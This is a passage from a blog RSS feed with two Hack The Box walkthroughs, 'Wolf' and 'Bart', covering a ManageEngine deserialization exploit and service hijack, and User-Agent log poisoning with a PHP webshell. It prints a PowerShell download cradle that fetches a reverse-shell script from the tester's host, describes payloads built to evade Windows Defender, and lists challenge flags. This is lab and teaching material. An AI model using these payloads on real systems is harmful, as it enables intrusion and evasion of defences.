/></figure><p>This was successful, and we had logged in as administrator.</p><p>From here, we had much enumeration and poking around to do to find our next steps.</p><p>Luckily, there was an admin tab we could start at to see any weaknesses.</p><p>After a good bit of poking around, we realized we missed an important step — to take note of the version of software and to look online for vulnerabilities with the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*25jdQwBN3lG-0LISuxeslA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iqaFw1yUf6jo37uG9vccRg.png" /></figure><p>We had found good news, there was a CVE<a href="#_ftn1">[1]</a> published affecting this version with a severity score of 9.8.</p><p><a href="#_ftnref1">[1]</a> <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-10189">https://nvd.nist.gov/vuln/detail/CVE-2020-10189</a></p><h4>CVE-2020–10189</h4><p>To use this exploit, we had to learn more about what it was. “Zoho ManageEngine Desktop Central before 10.0.474 allows remote code execution because of deserialization of untrusted data in getChartImage in the FileStorage class. This is related to the CewolfServlet and MDMLogUploaderServlet servlets.” (See reference 4 for citation). If we could exploit this, we could be granted RCE, allowing us to poke around even more.</p><p>We had found another page detailing how to exploit this<a href="#_ftn1">[1]</a>, and there was a Metasploit module for it as well, which we could use to perform this exploit more efficiently.</p><p><a href="#_ftnref1">[1]</a> <a href="https://packetstormsecurity.com/files/156730/ManageEngine-Desktop-Central-Java-Deserialization.html">https://packetstormsecurity.com/files/156730/ManageEngine-Desktop-Central-Java-Deserialization.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GA_NKNBnmhBoGZbBkaIMjA.png" /></figure><p>It appears as though the user-input validation is not properly built, and user inputted items are not properly sanitized, allowing users to upload files other than images (like scripts) to the ChartImage locations, which can then likely be ran.</p><p>“The specific flaw exists within the FileStorage class. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code under the context of SYSTEM.<a href="#_ftn1">[1]</a>”</p><p><a href="#_ftnref1">[1]</a> <a href="https://srcincite.io/advisories/src-2020-0011/">https://srcincite.io/advisories/src-2020-0011/</a></p><h4>Using Metasploit</h4><p>With Metasploit fired up, we could search for this CVE to make it easier to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Gbj1_FUv7sATG7QAkOj8MQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QzJW1XdFjIh3OpIzKiNKSQ.png" /></figure><p>From here, we had to set a few basic options and parameters, including the RHOST, LHOST, LPORT, TARGET URI, and a couple others before hitting run.</p><p>After entering these items, all we had to do was run the exploit and then launch a shell from our meterpreter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*E-O_4D_3szFiq41ZvCIdlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*Q0GGrDq1fmH0UWATK_rpnw.png" /></figure><p>We now had a shell as user “manageengine”</p><h4>Shell as manageengine</h4><p>Before anything we made sure to grab the user flag on user manageengine’s desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*TTs89Wp8gAwh08Jb-8T7qw.png" /></figure><p><strong>User Flag</strong>: 82a569c7562ca195701c85f48483b41d</p><p>Now, we needed to see what this user could do, that way we could find our best path to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WrYXeuGtLPhaCA25sM1BzA.png" /></figure><p>We could impersonate a client after authentication, which is good to know, but we needed to see what other vulnerabilities were present on the machine, so we brought in a copy of winPEAS to run.</p><h4>WinPEAS</h4><p>We hosted an http server on our local machine in the directory holding winPEAS, and then grabbed it on our target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tHzZLxG7z8f3ZT8j5zJtJg.png" /></figure><p>We then ran winPEAS, and discovered a few things to note:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*X9JKVRJYqL8pdgIT3vhsyQ.png" /></figure><p>Above confirmed what we already knew, but Winpeas also found something interest, a potential CVE we could exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hGd-ZWNRTThvLCZkBtYdMQ.png" /></figure><p>We also had to see what was currently running with tasklist /svc.</p><p>This output a long list, but of interest was the windscribeservice.exe we found. This is not a windows native application, and can possibly be exploited, dependent on the version of it. To find this, we first needed to find the location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*vbo3XxE8m03NwQPwp_J7pA.png" /></figure><p>We then navigated to this directory to see if we could find anything:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*dk14eF7flU2pGr4GML4Nrw.png" /></figure><p>Not having much luck with a few different PowerShell commands, we checked what versions are vulnerable, if any. Since we did not have a Windows VM properly set up to export this exe file to and simply check it there, we used some guesswork to determine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LYGXmTiRmeBX1kqZD-BNlQ.png" /></figure><p>Fortunately, there were only 3 different exploits, 2 of which are for the same version, though not verified. The bottom one is for a privilege escalation, which was our goal, so we be began performing that exploit.</p><h4>Windscribe — WindscribeService Named Pipe Privilege Escalation (Metasploit)</h4><p>Fortunately for us, there was a exploit-db module made for this<a href="#_ftn1">[1]</a>. Even more fortunate, was the fact that there was a Metasploit module for this as well. This exploit was also a CVE<a href="#_ftn2">[2]</a>.</p><p><a href="#_ftnref1">[1]</a> <a href="https://www.exploit-db.com/exploits/48021">https://www.exploit-db.com/exploits/48021</a></p><p><a href="#_ftnref2">[2]</a> <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-11479">https://nvd.nist.gov/vuln/detail/CVE-2018-11479</a></p><p>After trying this strategy, we were unable to start a session.</p><p>This was very frustrating, as we now had to find a workaround.</p><h4>Exploiting Weak Service Permissions</h4><p>Since we couldn’t use msfconsole to do this for us, we had to do it manually.</p><p>We had to backtrack a bit, going back to where we first got a foothold, since we first did it with Metasploit. We downloaded this exploit (<a href="https://www.exploit-db.com/exploits/48176">https://www.exploit-db.com/exploits/48176</a>) and then grabbed a copy of GreatSCT, a tool used to create payloads that won’t be seen as malicious.</p><p>We then ran the following command to do this, after setting GreatSCT up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sc1uc1bbS2lZemAQ3gE5mQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AeLi070hWihYz2fZKaHqAw.png" /></figure><p>We then had to copy the DLL payload to a directory where we could stand up an http server to host files from:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*Vef_i19NlcgeZWuvk3DvnQ.png" /></figure><p>From here, we entered the following command to execute a command to our http server that would launch a shell on our meterpreter, bypassing the Windows Defender:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GBU3nSEL2E4eDvz3JujcMg.png" /><figcaption>Open image in new tab for enhanced viewing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tgvcQ9cm5TAn5y6mBd8ZEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*dZy7gOHNSh7IEw3ZucuDJg.png" /></figure><p>We were back in with access as manageengine.</p><p>From here, we had to change the path of the binary used in WindscribeService to something we had put on the machine, like our wolf.dll file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uYe-BjCQIviOp6loYRAvbQ.png" /></figure><p>We also had to find the PID of Winlogon, the binary we would be modifying to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0yz9d7gcy94KxOJvFmosFQ.png" /></figure><p>Taking note of the 548, we could back out.</p><p>Since restarting the WindscribeService had launched a new session in our meterpreter, we could change sessions to that session, then migrating to the PID 548 that we took note of:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*IThabSVwEAw3IhtRmn-FUA.png" /></figure><p>We now were in with a shell as system authority. From here, we could go to the admin desktop and grab the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*vZn8_6uM7LIAXSxOHRYVOQ.png" /></figure><p><strong>Root flag</strong>: 9c6ab3eb0e22d73722a9b6e914497b0c</p><h4>Note from Professional:</h4><p>Basically, the WindScribe Service can be rewritten and point to the wolf.dll file that was used for the initial foothold. And since services have to be ran with admin privileges usually, simply stopping the service, pointing the service to the dll, and restarting the service should trigger the dll and reverse shell as root back to the kali box.</p><p>The trick is timing. When the service is started in the foothold session, it will launch a meterpreter session back to the kali box. You need to background the foothold session and get into the root shell meterpreter session within 30 seconds and migrate to a new process. At 30 seconds, the service fails to start by design of the Windows services process (since we are pointing now to a dll file instead of an exe file) and the shell closes…..unless you have migrated to a process to maintain the connection such as winlogon.</p><p>Make sure you are starting the listener with the wolf.rc file as created by GreatSCT.</p><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb wolf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*aMxZjfVGGcbn3j_5QLHR6w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ce8d8b085cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write Up — Bart]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-bart-e0ed1d0ed4af?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0ed1d0ed4af</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning-to-code]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 21:09:53 GMT</pubDate>
            <atom:updated>2024-01-14T21:17:11.385Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write Up — Bart</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*UKCSRqD25yz54R5J1xwiqA.png" /></figure><blockquote>HTB Walkthrough within, ctrl+F for “Root Flag” to quick search</blockquote><blockquote>Findings/Recommendations at bottom</blockquote><h3>Key Takeaways</h3><p>The network was vulnerable to multiple discovery and enumeration/scanning techniques that gave the attackers a good knowledge base of the company directory and a wordlist of passwords and usernames to attempt to login with (Ref 1.1, 1.2, 1.3). Advisory measures included configurations to block these automated scans (further explanation provided in Findings sections).</p><p>Moreso, there were misconfigurations in how the login portals worked, including outputting to the user if a username existed or not, which gave the attackers knowledge of particular usernames to attempt to gain unauthorized access with (Ref 1.4).</p><p>Additionally, the lack of a properly configured password policy allowed an attacker to easily guess a password based off of the name of an employee (Ref 1.5).</p><p>Another key finding involved a chat program being used for internal communications that contained source code (how it works) easily found online, which let an attacker know how it could be exploited and taken advantage of, giving them access to view internal communications by developers and team members originally meant to stay private (Ref 1.6)</p><p>Yet another vulnerability discovered was the ability of the attacker to modify information sent to the webserver to exploit the system in place (1.7)</p><p>Login credentials for the administrator account were easily found and were available to the attacker from a simple vulnerability scanning technique, which gave the attacker total control of the system (Ref 1.8)</p><p>Finally, the entire device’s storage system was able to be copied and exported for analysis (Ref 1.9)</p><h3>Objectives</h3><p>Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.</p><p>Overview of Steps</p><ol><li>Discovery</li><li>Port 80 Enumeration</li><li>Dirbuster Scan</li><li>Wfuzz</li><li>/Monitor/ Enumeration</li><li>Brute Forcing PHP Server Monitor Login</li><li>Burpsuite</li><li>Logged into Server Monitor</li><li>Enumerating Internal-01</li><li>Creating Account on Register.php</li><li>Handcrafting POST Request in Burp</li><li>User-Agent Modification/Poisoning</li><li>Creating a Webshell</li><li>Shell as nt authority\iusr</li><li>Autologon Net-Use Exploit</li></ol><h3>Attack Path</h3><h3>Discovery</h3><p>To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine.</p><p>nmap -sV -sC -p- 10000 10.129.235.175</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*jaeInLr2aZXEv5Ngv_Ej5A.png" /></figure><p>From this, we were shown one open port with http running on it, so we checked out the webpage associated with this address.</p><p>Also of note is the http-title we are given:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*YFXmC7mPkk2E_CUzns0N-w.png" /></figure><h4>Port 80 Enumeration</h4><p>When we navigated to this IP address, we were given an error, but were shown the same server name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*mxauIIsqvBYFo5b-F54C1Q.png" /></figure><p>Since we were using a Linux machine, we changed our /etc/hosts file to resolve this IP address to the corresponding domain name.</p><p>A quick command let us do this:</p><p>Sudo nano /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*EbF-HyBCtUEKTiFLnZ82dg.png" /></figure><p>We then refreshed our page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hp5YNwW8P964nXzY7wnUCw.png" /></figure><p>After poking around a bit, we came across some things to note:</p><p>A list of team members, including their first and last name, along with their titles:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*onhhi1i2lye7CDcXtTUmIQ.png" /></figure><p>We also found another name: Daniella Lamborghini</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*ZrByUIyymLe8dor0rhYEoA.png" /></figure><p>At the bottom of the page, we found the address, phone number, and email address. The first two are fine, but the last one can tip off the naming schema that the directory follows, including the domain name of bart.htb.</p><p>Nothing too immediately vulnerable here, just a few pieces of information we can gather. From here, we decided to see if gobuster could find any other webpages we could check out.</p><h4>Dirbuster Scan</h4><p>After a few minutes, we immediately got back some results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_i9kNgAOZbr27a9YRjzrhQ.png" /></figure><p>Some larger directories with numbered titles for names. While we let it keep running, we decided to go back to our browser and check out if we had access to these.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SVPXYcmx_reaIotdc3bL3Q.png" /></figure><p>/02/ gave an error, and so did the other 2.</p><p>Since this resulted in nothing, we decided to try another tool called Wfuzz to see if we could find anything else.</p><h4>Wfuzz</h4><p>We used the following command:</p><p>wfuzz — hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt <a href="http://bart.htb/FUZZ">http://bart.htb/FUZZ</a></p><p>wfuzz: This is the command itself, indicating the use of the wfuzz tool.</p><p>— hh 150693: This flag sets the highlighting threshold. It means that only responses with a response size of at least 150,693 bytes will be highlighted.</p><p>-z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: This option specifies the payload to be used in the fuzzing process. It uses a wordlist file located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt to fuzz the URL.</p><p><a href="http://bart.htb/FUZZ:">http://bart.htb/FUZZ:</a> This is the target URL. The FUZZ keyword is a placeholder that will be replaced by each entry in the wordlist during the fuzzing process.</p><p>After running this, we came across 2 new directories to check out: “forum” and “monitor.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*TVpb-9Td3O1FR_Dg_b4QWQ.png" /></figure><h4>/Monitor/ Enumeration</h4><p>When we navigate to this page in our browser, we come across a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3KzazquXJJNmwyPMM9pm_Q.png" /></figure><p>We take note of the bottom, where we see “PHP Server Monitor v3.2.1,” and then we can try guessing usernames based on the employee names we found from the publicly available website.</p><p>No default sets of credentials worked, so we tried using Forgot Password to see if we could guess the name of a valid username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*abSMGCeVWfp6B-7nteJFlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*qtketukrORr_0MyG5RC9rA.png" /></figure><p>After a few failed guesses, we discovered 2 that we know there are accounts with the username of, Daniel and Harvey. We then decided to try to brute force this login.</p><h4>Brute Forcing PHP Server Monitor Login</h4><p>To brute force, we needed a list to go off, so we used “cewl,” a wordlist creation tool.</p><p>We entered the following command to make a wordlist:</p><p>cewl -w cewl-forum.txt -e -a http://forum.bart.htb</p><p>This output the results into a .txt file.</p><p>Before we look into actually launching a brute force with our wordlist, we need to capture a login request in burp to see what is being sent.</p><h4>Burpsuite</h4><p>We turned on our proxy for Burpsuite in our browser and then sent a request, not before turning on monitor in Burpsuite. After hitting send, our burp app opened:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iDNV0L4eEaceRWdDDgLiQQ.png" /></figure><p>We can see that a CSRF token is being used, which we need to take note of, if we are to brute force this.</p><p>Before looking around for a script to automate this process or perhaps writing our own, let’s try some of the words manually to see if one might work and a weak password was used.</p><p>After trying for a long time of manually entering passwords from our cewl-generated list, we found the password “potter” to work, simply his last name. We were redirected again, so we need to append the new URL to our /etc/hosts file (monitor.bart.htb).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*aOCsuFxwIcFnOllclNQyXw.png" /></figure><h4>Logged into Server Monitor</h4><p>Now that we had access to this, we could poke around some more, this time as an internal authorized user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KpMlpnXxQf6xKy23Ud5miQ.png" /></figure><p>Clicking on the Internal chat opened a dashboard for it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2C_DOe8imrsqJO-SI-kF5A.png" /></figure><p>We took note of <a href="http://internal-0.bart.htb/">http://internal-0.bart.htb/</a></p><p>The log page did not have any entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*saDP6i2ozQu3Hec2G6vEkQ.png" /></figure><p>The profile page had some more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cCF48Zj9LxO0yWbEREFOAw.png" /></figure><p>A new email, h.potter@bart.local was shown to us. This new domain name seemed to be popping up a bit, so we decided to see if there was something we could do with it. To navigate to it, we needed to once again append internal-01.bart.htb to our /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ylvkbCC--lNw4TBmziGMFA.png" /></figure><h4>Enumerating Internal-01</h4><p>After navigating to this page in our browser, we were met with the following page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fSU5OlqXzwVwHlY3AnVKbQ.png" /></figure><p>Another login. Our prior set of credentials of Harvey:potter did not work, as this password said it required 8 characters at minimum. Looking at the page source revealed some additional information, including a css page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Rabc64ClYmEz_K9p4ewrMg.png" /></figure><p>Whatever this was, it was written by Manolis Agkopian.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ugy2ObVGX6poWX4TAGztwQ.png" /></figure><p>Googling for this name, along with “simple chat” revealed a github page for what seemed to be the source code for this.<a href="#_ftn1">[1]</a></p><p><a href="#_ftnref1">[1]</a> <a href="https://github.com/magkopian/php-ajax-simple-chat/tree/master">GitHub — magkopian/php-ajax-simple-chat: This is the ‘Simple Chat ;)’, a simple AJAX chat application written in PHP and Javascript with jQuery.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fmFtNwJhoe6LS82GZrOEEg.png" /></figure><p>Very interesting, in this repo, was the /register.php page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KMch0Nb78z0Gwjmw0Y8Yfw.png" /></figure><p>If this was still live on the webserver, we could try registering and using a self-created account to gain access to whatever was hiding behind this login page, which I exactly what we did.</p><h4>Creating Account on Register.php</h4><p>When we checked out his page, we were given another error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SNXePEdwct4AF8S3qjvCqg.png" /></figure><p>It seemed as though we would have to send a handcrafted request in burp, after looking at the source code in the repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*J4pBMTN1ll_zEVGv8lYeHw.png" /></figure><h4>Handcrafting POST Request in Burp</h4><p>To begin, we started our proxy again and opened up the GET request in burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zrReaJ1qMSjZGl3Zixnmrg.png" /></figure><p>We needed to change this to a POST request, while also passing two parameters, a uname and passwd.</p><p>After sending this to the repeater, we could make the required changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*muSXjAPo8RDs2yJMmOnUMQ.png" /></figure><p>We also had to change the webpage this was being sent to /register.php, not register_form.php.</p><p>We could now try our new credentials, test:password.</p><p>This didn’t work, we were still given invalid credentials warning.</p><p>We tried using a curl command instead, passing the parameters along in our CLI, rather than burp.</p><p>curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d “uname=test&amp;passwd=password”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sOrPrqADDYJ2W6eE-TMd5Q.png" /></figure><p>This did in fact work, as we now gained access to the chat log/history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0gwiCf4x8CoKXH20WdlA8w.png" /></figure><p>While there was nothing to be seen here immediately, we had to poke around further to find that when we clicked “Log” in the top right, we got 2 pop-ups, first saying “Done,” then saying “1.”</p><p>To see what was making this happen, we opened up the page source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xgxcsVGZYWUmfMt6_sgKlw.png" /></figure><p>It seemed as though some sort of log was being sent to log_chat.php;</p><p>After navigating to the page displayed, we were simply met with a “1.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KDNJAn1Ve_3b3CiaOBnQAg.png" /></figure><p>This meant that it was true that the logs were saved, so we just had to find them.</p><p>It appeared that the logs were being saved to log_chat.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OSDnsgAVHtgVBvgZH48SEA.png" /></figure><p>We could not find this at first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0kewHfB8m6NM9tbJkpH5Zw.png" /></figure><p>Since we could navigate to this page, we checked for if we could navigate to the ?filename=log.php page without entering credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5XLI-r_82EjV3RVrwB1NCQ.png" /></figure><p>This seemed to be a good thing, as we could throw in whatever we wanted.</p><h4>User-Agent Modification/Poisoning</h4><p>We now just needed to capture the request and change the user agent field to include a command to test if we had RCE.</p><p>We captured a request to the log.php page and sent it to the repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xSOBS8SCK69odql7LhsFow.png" /></figure><p>We then modified the user-agent field to include a command to test this theory.</p><p>We threw this in for our User-Agent:</p><p>&lt;?php phpinfo(); ?&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kkGc10OyBT005N7EBUB82A.png" /></figure><p>This gave us a good response, but we needed to see it in our browser to see if it worked, or if it just gave us a default “1” response.</p><p>After poking around to why this failed for a little while, we were sending a packet to the log.txt file, not the .php script.</p><p>After changing this, we then sent it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4HhIpSRxNAj-wSjJ9AvWrg.png" /></figure><p>Success, this gave us what we wanted to see.</p><p>We then created a webshell with another PHP command we have saved.</p><h4>Creating a Webshell</h4><p>We used this command in our User-Agent Field for our webshell, passing along command “id”.</p><p>&lt;?php system($_GET[“cmd”]); ?&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Uu7xic2n1zwXPAH7hCk6lQ.png" /></figure><p>In our browser, we also passed cmd=whoami as a parameter to be executed. Scrolling down, we were shown that we had a webshell, and this was acting as nt authority.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GkDC0l4fUpNMdLAtXzIfBA.png" /></figure><p>This was great news. From here, we just needed a way to get powershell or some other sort of command execution.</p><p>From here, we decided to go with Nishang’s Invoke-Powershell script<a href="#_ftn1">[1]</a>, which we will need to modify and add a line at the bottom, to execute immediately.</p><p><a href="#_ftnref1">[1]</a> <a href="https://github.com/samratashok/nishang">GitHub — samratashok/nishang: Nishang — Offensive PowerShell for red team, penetration testing and offensive security.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*PWv_Va_7DKATaHR77TMf5A.png" /></figure><p>After we changed this to our local machine address, we can then stand up a http server on our local machine in this directory and then grab the file from our RCE in our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*wu4d5TEUPqM0QxLfZerl6g.png" /></figure><p>We then use the following command:</p><p>powershell%20IEX%28New-Object%20Net.WebClient%29.downloadString%28%27http%3A%2F%2F10.10.14.8%3A80%2FInvoke-PowerShellTcp.ps1%27%29</p><p>(Above is URL encoded)</p><p>After entering this command and launching a netcat listener on our specified port, we get our reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*6qJQpxFNNLVUmj94vHGxfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*gG0z6rGJ0eE3m7YnMV1qWw.png" /></figure><h4>Shell as nt authority\iusr</h4><p>Since we cannot do much as this user, we need to look for additional vulnerabilities, so we used WinPEAS to scan for any.</p><p>We stood up another http server on our local machine in the directory holding winPEAS, and then used the following command to grab it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Xh0Jkrpg66e2u9dQ_MfgZg.png" /></figure><p>We could now run this to see what was vulnerable.</p><p>After parsing through the entire output, we came across a very interesting section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*2dddM0_MKkvQxq280dzdAQ.png" /></figure><p>It appears as though some Autologon credentials were found, and we took note of these.</p><p>DefaultDomainName : DESKTOP-7I3S68E</p><p>DefaultUserName : Administrator</p><p>DefaultPassword : 3130438f31186fbaf962f407711faddb</p><p>We also need to see what privileges we have as the user we are currently logged in as.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*rSts5qWqHpx8Z40E3d7BUQ.png" /></figure><p>After poking around for a bit for some ways to abuse Autologon credentials, we found a few different methods. We will use the simpler, shorter one.</p><h3>Autologon Net-Use Exploit</h3><p>This exploit will attempt to create a copy of the system’s C drive, which we will be able to view, edit, and execute. This will help us, and it gives us total control over our version of the C drive.</p><p>We used this command:</p><p>net use x: \\localhost\c$ /user:Administrator 3130438f31186fbaf962f407711faddb</p><p>We can then navigate to the Administrator desktop on the X: drive, where the C: drive was copied to.</p><p><strong>User Flag</strong>: 7f06fe1c9333f3bfb65cd85f29937a35</p><p><strong>Root flag</strong>: 1380ed3666a48c77e7094f8f12fdf4f4</p><h3>Findings</h3><h3>1.1 Nmap Scan</h3><p>The target machine was susceptible to having an nmap scan run against it.</p><p>“Nmap, a key tool in penetration testing, is used to discover hosts and vulnerabilities by probing network services. The official Nmap documentation <a href="https://nmap.org/book/">https://nmap.org/book/</a> outlines its methodology, involving packet transmission and response analysis. While invaluable for identifying weaknesses, Nmap scans carry risks, potentially triggering security alerts and revealing the penetration test. Balancing its significance and associated risks is crucial for a successful penetration testing strategy.”</p><h3>Risk</h3><p>There are multiple risks associated with allowing an nmap scan to go undetected/unprevented. It can allow a threat actor to map out the network and gain more information about the infrastructure, operating system, and other services running on the network/machine. Any information that an attacker can get from their “discovery” phase is useful to them, and limiting the publicly facing interfaces that an attacker can encounter is a good idea.</p><h3>Recommendations</h3><p>There are ways to prevent, or at a minimum, detect an nmap scan or other network mapping scan performed against a network (<a href="https://www.ciscopress.com/articles/article.asp?p=469623&amp;seqNum=5#:~:text=As%20explained%20earlier%2C%20NMap%20is%20a%20tool%20of,to%20protect%20against%20NMap%20scans%20involves%20several%20components.">Detecting a Scan &gt; Penetration Testing and Network Defense: Performing Host Reconnaissance | Cisco Press</a>):</p><p>· Intrusion Detection</p><p>IDSs are similar to home security systems (burglar alarms) that monitor entry or breach into your home or office. Like the home security systems, IDSs log an alarm entry into the network. Unlike most home systems, however, you can configure an IDS to actually fight back with TCP RSTs and SHUN commands in the efforts to stop further entry or damage to the network. Location it critical with these systems, just like a standard security camera is to a security guard. That is why most IDSs are located where they can see as much traffic as possible.</p><p>· Anomaly Detection Systems</p><p>Anomaly detection systems (also called profile-based detection systems) are designed to watch user or network profiles. For example, an anomaly detection system alarms if it notices a network that normally is at 30 percent utilization peak up to 90 percent for a long period.</p><p>· Misuse Detection System</p><p>Misuse detection uses pattern matching. These systems contain a database of hundreds of patterns and signatures that are used to match with traffic on a network cable. You can compare misuse detection to standard disk antivirus software, where the antivirus software scans your hard drive looking for patterns in programs and files that represent malicious alterations. Misuse detection reads frames and packets off a cable instead of a hard drive. These are the most commonly used detection systems today. However, they can quickly become out of date as new attacks emerge that are not within the signature database.</p><h3>1.2 Company directory information available on public website</h3><h3>Risk</h3><p>While not always considered and immediate risk, this is something to look out for. An attacker having knowledge of every employee’s first and last names can be a problem when it comes to them having to guess passwords or potentially social engineer certain employees. This also presents a risk when page crawlers are used to build a wordlist, as it is not unusual for directory usernames and passwords to involve an employee’s name, especially if left poorly configured and without complex password policies.</p><h3>Recommendations</h3><p>This is a more simple fix, I would recommend modifying or removing the company directory/”Meet the Team” section from the webpage. Rather than everybody’s first and last names, the website could have the employee first name, or if needed, their first name and last initial. This will make creating wordlists to be used in brute force attacks more difficult, along with finding information on employees to launch a social engineering attack them.</p><figure><img alt="" 